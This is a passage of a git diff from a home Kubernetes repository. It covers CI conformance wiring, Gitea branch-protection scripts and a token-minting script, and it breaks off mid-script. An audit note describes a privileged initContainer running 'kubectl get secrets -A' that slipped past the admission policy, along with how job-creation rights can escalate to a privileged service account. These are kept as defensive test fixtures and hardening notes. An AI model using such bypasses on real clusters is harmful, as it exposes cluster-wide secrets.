+| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
 | Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
 | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
 | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
 
-**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
-is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
+**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
+LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
+
+> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
+> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
+> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
+> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
+> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
+> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
+> run" this stage attempts can never succeed; it can only skip and, before the guard added on
+> 2026-09-29, lie about it.
+>
+> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
+> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
+> not enable L2/L3, it only changes which way this stage fails.
 
 ---
 
 ## 3. Gaps to close (functional)
 
-1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
+1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
+   `conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
+   0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
+   entrypoint path and the Job pins that uid — see §4.)*
+   `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
    python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
    `./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
    `v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
    pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
    `CHAINSAW_VERSION` as the single source of truth the image is built from.
-2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
+2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
+   Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
+   args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
+   item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
+   **assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
+   substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
+   clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
+   constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
+   `conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
+   token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
+   only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
+   install the entrypoint at that exact path) and provision that Secret (item 6).
+   Original text: → Add an
    **init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
    into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
    `--requirements` are injected by the CI trigger step as Job env/args.
-3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
+3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
+   `conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
+   still ships its red JUnit — that prints the artifact tree as a base64 tar between
+   `=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
+   line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
+   collection instead of decoding to plausible garbage; the five checks the collector owes are
+   spelled out above that function. It lives in `run.sh` and not in the Job because admission
+   pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
+   head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
+   each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
    volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
    base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
    `kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -91,6 +129,19 @@ stack):**
 
 - SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
   `jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
+- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
+  `containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
+  `volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
+  `privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
+  **ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
+  `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
+  same. Both are now covered by
+  `trigger-initcontainers-must-be-the-committed-clone-step` and
+  `trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
+  **The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
+  field that can carry executable intent, and a `pattern` over an array only asserts *at least
+  one element matches* — use `deny` conditions and cap the count. Also note the residual: no
+  rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
 - A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
   `system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
   committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,

infra/gitea/README.md

@@ -0,0 +1,234 @@
+# infra/gitea — platform settings that are NOT GitOps-managed
+
+Gitea's own repo settings (branch protection, required status checks, approvals) live
+in Gitea's database, not in a manifest Flux reconciles. They are therefore **drift-prone
+and invisible to the gate** — exactly how the state below went unnoticed.
+
+## The gap this closes
+
+Verified against the live API on 2026-09-29, against a `DECISIONS-LOG.md` entry
+(2026-08-31) asserting the opposite:
+
+| Claimed | Measured |
+|---|---|
+| `main` is a protected branch, gate is a required status check | `branch_protections` → `[]`; `protected:false`, `enable_status_check:false`, `required_approvals:0`, `user_can_push:true` |
+| Runner `incluster-dind` online | **zero** runners registered at repo, org and site level |
+
+So `main` accepted direct pushes, and the gate could not run at all. `CLAUDE.md` is the
+rule; this directory is how the rule gets enforced by the machine.
+
+## `branch-protection.sh`
+
+Blocks direct pushes to `main`. Run it, then run the push probe it prints — **verify,
+do not trust the API response**, since Gitea may let site admins bypass protection.
+
+    ./infra/gitea/branch-protection.sh
+
+It authenticates with the credential `git` already has stored for this host, and never
+prints the secret.
+
+## `runner-token-rotate.sh`
+
+Mints a fresh instance-level registration token from the Gitea API and writes it into
+`apps/wave-1/gitea-actions-runner-secret.sops.yaml` via `sops set`. **The token value is
+never printed.**
+
+    ./infra/gitea/runner-token-rotate.sh
+
+A fresh token is usually **not sufficient on its own**. `act_runner` registers exactly once
+and persists its identity in `/data/.runner` on the `act-runner-data` PVC. If Gitea no
+longer holds a matching runner row, the pod starts, sees `.runner`, **skips registration**,
+and polls with an identity Gitea does not recognise — so it never appears in the runner
+list. That is precisely the observed symptom: zero runners, pod running, no error anyone
+looks at. Clearing the PVC is what forces a real re-registration; the script prints the
+commands.
+
+## Sequence — DONE 2026-09-29
+
+All four steps are complete and each was verified, not assumed:
+
+| Step | State |
+|---|---|
+| 1. Runner registered | ✅ `incluster-dind` online. Root cause of its absence was a stale `/data/.runner` identity; clearing the PVC forced re-registration |
+| 2. Gate observed green on a real PR | ✅ `gate / gate (pull_request)` ~1m35s |
+| 3. `enable_status_check: true` | ✅ context `gate / gate (pull_request)` — that one ONLY |
+| 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
+
+Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
+`gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
+account agents authenticate as.
+
+### 5. Block the admin override — the step the first pass MISSED
+
+`enable_status_check` and `required_approvals` were set on 2026-09-29 and **still did not
+bite**, because `block_admin_merge_override` was `false`. Gitea lets repo admins override
+merge requirements without it, and `jakman85` holds `owner` — so the two settings that looked
+like the gate were overridable by precisely the account that merges.
+
+**The evidence was sitting in plain sight:** PRs #5 through #9 all merged with
+`required_approvals: 1` in force and **zero approvals recorded on any of them**. Checking the
+*branch* view (`/branches/main`) hid this — it does not expose the field. Read the rule object
+(`/branch_protections/main`) and enumerate its keys.
+
+> **Do not probe for field names you assume exist.** This Gitea (1.24.3) has no
+> `apply_to_admins`; asking `jq` for it returns `null`, which reads like "set to false" but
+> means "key absent". Enumerate with `to_entries` and act on what is really there.
+
+Now `block_admin_merge_override: true`. **That is still only a setting, not evidence** — it is
+proven when a green PR is REFUSED a merge until approved, and not before.
+
+### `require-gate.sh` / `verify-then-enforce.sh`
+
+`verify-then-enforce.sh` is the re-runnable form of the whole safe order. It merges nothing —
+merging is a human's reviewed act — but it forces the Flux reconcile and then **aborts** unless
+the runner pod is healthy, a runner is online, and a real workflow goes green on it, before
+enabling enforcement and probing the push. `require-gate.sh` is the enforcement step alone.
+
+Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
+
+### `expected-branch-protection.json` + `ci/gitea-settings.sh` — the detector
+
+`expected-branch-protection.json` **declares** the desired rule. `ci/gitea-settings.sh` runs as
+a merge-gate stage, reads the LIVE rule, and **fails the gate on any divergence** — plus asserts
+at least one runner is online. It is the only thing in this repository that can see Gitea's own
+database.
+
+It reads `/branch_protections/main`, not `/branches/main`: the branch view does **not** expose
+`block_admin_merge_override`, and it showed all-green for hours while the rule was overridable.
+
+Behaviour, proven by test rather than assumed:
+
+| Situation | Exit | Effect |
+|---|---|---|
+| live matches the declaration | 0 | green |
+| any key drifted, or no runner online | 1 | **blocks the merge** |
+| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+
+> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
+> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
+> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
+> inert-detector story, so the wrong name surviving here is worth correcting rather than
+> reading past. Measured in `ci/gitea-settings.sh`:
+>
+>     TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+>
+> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
+> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
+> created. In CI, only `SETTINGS_API_TOKEN` exists.
+
+The skip is deliberately *not* a block: an unwired credential blocking every PR is the
+lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
+the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS=true` in
+`gate.yml` so a future missing token blocks instead of skipping.
+
+**Changing the declaration is how you change policy.** If the live state is what you now want,
+edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
+
+## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
+
+Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
+ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
+kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
+and only on request — set `vars.CLUSTER_AVAILABLE=true`.
+
+    ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run   # measure only; writes nothing
+    ./infra/gitea/conformance-trigger-kubeconfig.sh             # mint + store the secret
+    ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available   # + the variable
+
+Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
+printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
+(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
+`set -x`.
+
+**Its preconditions are split in two, and the split is the point.**
+
+| Class | Checks | Blocks |
+|---|---|---|
+| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
+| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
+
+Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
+token that can `create jobs` in `conformance` can run arbitrary code as the privileged
+`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
+while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
+
+Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
+trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
+running this today provisions the secret and then **refuses to arm the variable**, naming the
+missing item.
+
+**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
+trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
+"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
+now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
+`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
+nothing happens.
+
+Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
+read the object back. For the secret that proves presence by name only (Gitea never returns
+secret values); for the variable it proves the value is exactly `true`, which is what
+`gate.yml` compares against.
+
+The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
+to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
+rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
+
+`--server` exists because the embedded API-server URL must be reachable **from the CI runner
+pod** — the VIP — which is not necessarily the address your workstation uses. The script
+refuses a loopback server outright.
+
+### Why these scripts exist at all, and what is still missing
+
+Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
+conformance gate can read. Nothing detects drift from what this directory declares. That is
+the root cause of the entire 2026-09-29 session: branch protection was off and the runner was
+gone for a month while the log recorded both as working, and **no check existed that could
+have caught it.**
+
+These scripts encode the desired state and can re-assert it; `ci/gitea-settings.sh` above is the
+**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
+root cause of the 2026-09-29 session.
+
+It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
+detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
+it. The name matters — see the note under the behaviour table above.)
+
+## Historical sequence (kept for context)
+
+### Original ordering notes
+
+1. **Get an Actions runner registered** — `runner-token-rotate.sh`, then clear the PVC so
+   the runner actually re-registers, then confirm it shows `online` in the API. Do not
+   skip the confirmation: the whole reason this went unnoticed is that a runner was
+   *recorded* as online without anyone checking.
+2. **Watch the gate actually report on a real PR**, and note the context name it produced.
+3. **Only then set `enable_status_check: true`** with that exact context.
+4. Add the human reviewer as a repo collaborator, then raise `required_approvals` to 1.
+
+> **Do not do step 3 before step 1.** A required status check with no runner leaves every
+> PR permanently pending — including the PR that would fix it. That half is measured: PR #1
+> sat `pending` for 30.6 minutes across 122 polls with no runner registered, and never
+> reported.
+
+### Measured, once the runner came up (2026-09-29)
+
+The first CI jobs this repo ever ran, on PR #1 and PR #2:
+
+| Context | Result | Time |
+|---|---|---|
+| `gate / gate (pull_request)` | success | 1m58s (PR #1), 1m34s (PR #2) |
+| `gate / gate (push)` | success | 1m32s (PR #2 only) |
+| `gate / conformance (pull_request)` | **success — "Has been skipped"** | — |
+
+**Require `gate / gate (pull_request)`. Do NOT require either `conformance` context —
+but not for the reason an earlier draft of this file gave.** A skipped Gitea Actions job
+does not hang a status check: Gitea reports it as **`success`** with the description
+"Has been skipped". So requiring it would not deadlock anything — it would pass
+*vacuously*, every time, forever, while nothing ran. Under HARD RULE 4 that is worse than
+a deadlock: a deadlock is loud, a permanently-green check that verifies nothing is
+exactly the fail-open shape this repo keeps finding.
+
+The `(push)` contexts appear only for branches matching `gate.yml`'s push trigger
+(`feature/**`, `fix/**`, `docs/**`, `chore/**`). `feat/**` is **not** in that list, which
+is why PR #1's `feat/` branch produced only `pull_request` contexts. Require only the
+`pull_request` context, or PRs from non-matching prefixes will never satisfy the rule.

infra/gitea/block-admin-override.sh

@@ -0,0 +1,36 @@
+#!/usr/bin/env bash
+# Stop repository admins from overriding the merge requirements on `main`.
+#
+# WHY. Gitea lets repo admins override branch-protection merge requirements unless
+# `block_admin_merge_override` is set. It was FALSE, and jakman85 holds `owner` -- so
+# required_approvals and the required status check were both overridable by the one account
+# that actually merges. Evidence: PRs #5-#9 all merged with ZERO approvals recorded against
+# `required_approvals: 1`.
+#
+# NOTE ON FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins` field. Querying it with jq
+# returns null, which reads like "set to false" but actually means "key absent". Enumerate the
+# real keys (`to_entries`) rather than probing names you assume exist.
+#
+# Recoverable: an owner can PATCH this back to false if it gets in the way.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+B="https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main"
+
+echo "==> before: block_admin_merge_override = $(api "$B" | jq -r .block_admin_merge_override)"
+api -X PATCH -H 'Content-Type: application/json' \
+  -d '{"block_admin_merge_override": true}' "$B" >/dev/null
+AFTER=$(api "$B" | jq -r .block_admin_merge_override)
+echo "==> after:  block_admin_merge_override = $AFTER"
+[ "$AFTER" = true ] || { echo "PATCH did not take -- do not record this as enforced." >&2; exit 1; }
+
+api "$B" | jq -r '{enable_push,enable_status_check,status_check_contexts,required_approvals,block_admin_merge_override}'
+cat <<'NOTE'
+
+NOW PROVE IT -- the setting is not the evidence. On the next PR:
+  * let the gate go green, then try to merge WITHOUT approving it.
+  * Gitea must REFUSE. If it merges, this still is not doing its job.
+Do not record approvals as enforced until you have seen a merge refused.
+NOTE

infra/gitea/branch-protection.sh

@@ -0,0 +1,57 @@
+#!/usr/bin/env bash
+# Enable branch protection on main for home-network-k3s-impl.
+#
+# Sets enable_push:false  -> no direct pushes to main; changes land only by merging a PR.
+#
+# enable_status_check is deliberately FALSE. There is currently NO Gitea Actions runner
+# registered (verified 2026-09-29: zero at repo, org and site level), so requiring the
+# gate context would deadlock EVERY PR permanently -- including the PR that fixes it.
+# Turn it on only after a runner is live and you have seen the gate actually report on
+# a real PR, using the context name CI itself produced.
+#
+# required_approvals is 0 for the same class of reason: jakman85 is a site admin but NOT
+# a repo collaborator, so requiring an approval now could leave nobody able to approve.
+# Add the collaborator first, then raise this to 1.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev
+OWNER=Home-Network
+REPO=home-network-k3s-impl
+
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"
+P="$(sed -n 's/^password=//p' <<<"$creds")"
+[ -n "$U" ] && [ -n "$P" ] || { echo "no stored credential for $HOST" >&2; exit 1; }
+echo "authenticating as '${U}' (secret not shown)"
+
+echo "==> creating branch protection on 'main'"
+jq -n '{
+  branch_name: "main",
+  enable_push: false,
+  enable_status_check: false,
+  status_check_contexts: [],
+  required_approvals: 0,
+  block_on_rejected_reviews: true,
+  block_on_outdated_branch: false,
+  dismiss_stale_approvals: true
+}' | curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") \
+  -X POST -H 'Content-Type: application/json' --data @- \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections" \
+| jq -r 'if .branch_name then "created" else "API said: \(.message // tostring)" end'
+
+echo "==> verifying (this is the part that matters)"
+curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branches/main" \
+| jq -r '{protected, user_can_push, required_approvals, enable_status_check, status_check_contexts}'
+
+cat <<'NOTE'
+
+Now prove it actually blocks you -- do not take the API's word for it. From a clean
+checkout on main, with nothing to lose:
+
+    git commit --allow-empty -m 'protection probe'
+    git push origin main          # EXPECT: rejected by the remote
+    git reset --hard HEAD~1       # tidy up either way
+
+If that push SUCCEEDS, Gitea is letting site admins bypass protection and this is not
+yet doing what you want.
+NOTE

infra/gitea/conformance-trigger-kubeconfig.sh

@@ -0,0 +1,575 @@
+#!/usr/bin/env bash
+# infra/gitea/conformance-trigger-kubeconfig.sh
+#
+# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
+# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
+# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
+#
+# What it does, in order:
+#   1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
+#   2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
+#      `conformance` (kubectl create token -> TokenRequest API)
+#   3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
+#   4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
+#   5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
+#      VERIFIES the store by reading the secret list back
+#   6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
+#      precondition green, and only after a typed confirmation. Otherwise it REFUSES.
+#
+# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
+# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
+# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
+# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
+#
+# ----------------------------------------------------------------------------------------
+# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
+# ----------------------------------------------------------------------------------------
+# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
+#    `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
+#    name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
+#    GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
+#    .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
+#
+# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
+#    to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
+#    knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
+#    the object back afterwards. A store is not claimed unless the read-back shows it.
+#
+# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
+#    `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
+#    cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
+#    trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
+#    FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
+#    case (exit 1), so today the variable does not enable L2/L3: it only changes which way
+#    the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
+#    every PR. This script refuses to do it.
+#
+# ----------------------------------------------------------------------------------------
+# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
+# ----------------------------------------------------------------------------------------
+# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
+# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
+# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
+# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
+# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
+# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
+# privileged identity. So those checks block the MINT itself — nothing is created if they
+# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
+#
+# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
+# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
+# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
+# conformance job is gated on the variable and never starts — and the plan explicitly lands
+# the secret before the switch. So these checks block ONLY the variable.
+#
+# Net effect: you can safely run this script today to provision the secret. It will then
+# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
+#
+# ----------------------------------------------------------------------------------------
+# USAGE
+# ----------------------------------------------------------------------------------------
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
+#         Read-only. Measures every precondition, mints nothing, writes nothing.
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
+#         Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
+#         The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
+#         refused unless every precondition is green.
+#
+# Options:
+#   --dry-run                 measure only; no TokenRequest, no PUT/POST
+#   --arm-cluster-available   additionally set vars.CLUSTER_AVAILABLE=true (guarded)
+#   --server URL              API server URL to embed (default: the operator context's own)
+#   --context NAME            kube context to read the CA/server from (default: k3s-prod)
+#   --duration D              requested token lifetime (default: 720h = 30d)
+#   -h | --help               this text
+#
+# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
+# not necessarily the address your workstation uses. The runner has broad egress and reaches
+# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
+# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
+# on a loopback server but cannot know your topology for you.
+#
+# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
+# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
+# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
+# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
+# the correct direction, but put the expiry date in your calendar.
+#
+# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
+# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
+# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
+# committing one buys re-issuance we get for free by re-running this script against the
+# live SA. If the operator still wants it sealed, that is a separate reviewed change.
+#
+# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
+# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
+# TokenRequest itself, no `kubectl apply`.
+set -euo pipefail
+
+# xtrace would print the token. Refuse rather than leak.
+case "$-" in
+  *x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
+esac
+umask 077
+
+HOST=gitea.home.keithjackson.dev
+OWNER=Home-Network
+REPO=home-network-k3s-impl
+# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
+SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
+VARIABLE=CLUSTER_AVAILABLE
+NS=conformance
+SA=conformance-trigger
+RUNNER_SA=conformance-runner
+POLICY=conformance-trigger-job-shape
+# The image prefix the admission policy admits. Kept in sync with
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
+RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
+
+KCTX=k3s-prod
+DURATION=720h
+DRY_RUN=false
+ARM=false
+SERVER_OVERRIDE=""
+
+REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+
+step() { printf '\n==> %s\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+warn() { printf '    WARN: %s\n' "$*" >&2; }
+die()  { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+
+usage() {
+  cat <<'USAGE'
+conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
+
